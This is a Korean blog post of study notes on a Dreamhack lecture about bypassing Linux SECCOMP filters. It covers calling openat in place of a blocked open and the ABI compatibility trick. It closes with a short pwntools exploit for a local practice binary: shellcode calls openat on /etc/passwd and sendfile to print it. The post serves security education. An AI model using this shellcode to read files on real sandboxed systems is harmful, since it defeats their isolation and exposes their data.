[Dreamhack] SECCOMP: 2 - Bypass SECCOMP

securitykss·2023년 2월 26일
0

Pwnable 강의(dreamhack)

목록 보기
41/58

이 글은 https://dreamhack.io/lecture/courses/280 을 토대로 작성한 글입니다.

1. Introduction

리눅스 커널은 프로세스와 파일을 포함한 여러 자원들을 관리하기 위해 다양한 시스템 콜을 제공한다.

이런 시스템 콜들은 공격을 당하기 쉽다.

그렇기에 보안을 함에 있어 시스템 콜을 이해하는 것은 굉장히 중요하다.

SECCOMP를 우회하는 방법과 익스플로잇이 어떻게 되는지 알아보자.

2. Bypass SECCOMP

SECCOMP는 시스템 콜 뿐만 아니라 전달되는 인자까지 추적하고 비교할 수 있다.

인자를 비교하는 것은 많은 예외 상황이 있을 수 있기에 개발자들은 시스템 콜을 호출하지 못하도록 설정한다.

해당 기술이 적용된 바이너리를 우회하는 방법은 상황에 따라 여러 가지이기 때문에 많은 분석과 공격 경험이 필요하다.

2.1 타 시스템 콜 호출

같은 기능을 하는 서로 다른 시스템 콜이 몇 가지 존재한다.

예를 들어, 파일을 열기 위해서 사용하는 시스템 콜은 대표적으로 open이 있는데,

이와 같은 기능을 수행하는 openat이 있다.

만약 규칙이 open 시스템 콜을 호출하지 못하도록 정의되어 있다면, openat을 사용해 개발자가 의도하지 않은 행위를 할 수 있다.

2.2 ABI (Application Bianry Interface)

아키텍처에는 x86, x86_64 이외에 다양한 아키텍처가 있다.

아키텍처 별로 명렁어 세트와 기능, 크기 등이 다르기 때문에 애플리케이션 운영 목적에 따라 알맞는 아키텍처를 선택해 사용한다.

따라서 커널 코드는 이 모든 것을 고려한 코드로 작성되어 있다.

64비트 운영 체제에서 32비트 애플리케이션을 호환하는 것 또한 이에 포함된다.

중요한 것은 아키텍처 별로 시스템 콜 번호가 다른 점과 서로 다른 아키텍처를 호환하기 위한 코드를 이용해 우회를 할 수 있다.

3. 타 시스템 콜 호출 실습

3.1 예제 코드

코드 분석

읽기, 쓰기, 실행 권한이 있는 페이지를 할당하고 이용자로부터 입력받은 값을 실행한다.

sandbox 함수를 보면, ALLOW 리스트 기반으로,

시스템 명령어를 실행하는 execve와 파일을 열고 쓰는 open, write 시스템 콜을 사용할 수 없다.

3.2 실행 결과

3.3 익스플로잇

3.3.1 익스플로잇 설계

1. 시스템 콜 찾기

같은 기능을 하는 시스템 콜이 있는지 확인해야 한다.

open은 파일을 열기 위한 시스템 콜로, 이와 같은 역할을 수행하는 openat 시스템 콜이 존재한다.

두 시스템 콜은 파일을 열고 파일 디스크립터를 반환한다는 점에서 비슷하지만,

openat은 전달된 인자인 dirfd를 참조해 해당 경로에서 파일을 찾는다.

2. 시스템 콜 호출

시스템 콜을 호출하기 전에 시스템 콜의 인자를 확인해야 한다.

openat 시스템 콜의 원형은 다음과 같다.

int openat(int dirfd, const char *pathname, int flags, mode_t mode);

해당 시스템 콜의 매뉴얼을 보면, 두 번째 인 자인 pathname이 절대 경로로 명시되어 있을 경우 첫 번째 인자인 dirfd가 무시된다.

따라서 해당 시스템 콜의 번호를 알아내고 두 번째 인자에 파일 경로 문자열의 주소를 전달하면 파일의 내용을 읽을 수 있다.

3.3.2 익스플로잇

openat 시스템 콜을 호출할 때는 두 번째 인자에 절대 경로로 읽을 파일명의 주소를 전달하고, 이외 인자를 NULL로 초기화한다.

open과 비슷한 기능을 하는 openat을 호출하고,

파일의 내용을 출력하기 위해 sendfile 시스템 콜을 사용하자.

ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);

읽을 파일의 FD를 두 번째 인자인 in_fd에 삽입하고,

표준 출력(STDOUT)의 FD인 1을 out_fd에 삽입하면 파일의 내용을 읽을 수 있다.

익스 코드

# Name: bypass_seccomp.py

from pwn import *

context.arch = 'x86_64'

p = process("./bypass_seccomp")

shellcode = shellcraft.openat(0, "/etc/passwd")

shellcode += 'mov r10, 0xffff'

shellcode += shellcraft.sendfile(1, 'rax', 0).replace("xor r10d, r10d","")

shellcode += shellcraft.exit(0)

p.sendline(asm(shellcode))

p.interactive()

익스 결과

Continue

https://velog.io/@securitykss/Dreamhack-SECCOMP-2-Bypass-SECCOMP-cont

Reference

https://dreamhack.io/lecture/courses/280

profile
보안 공부를 하는 학생입니다.

0개의 댓글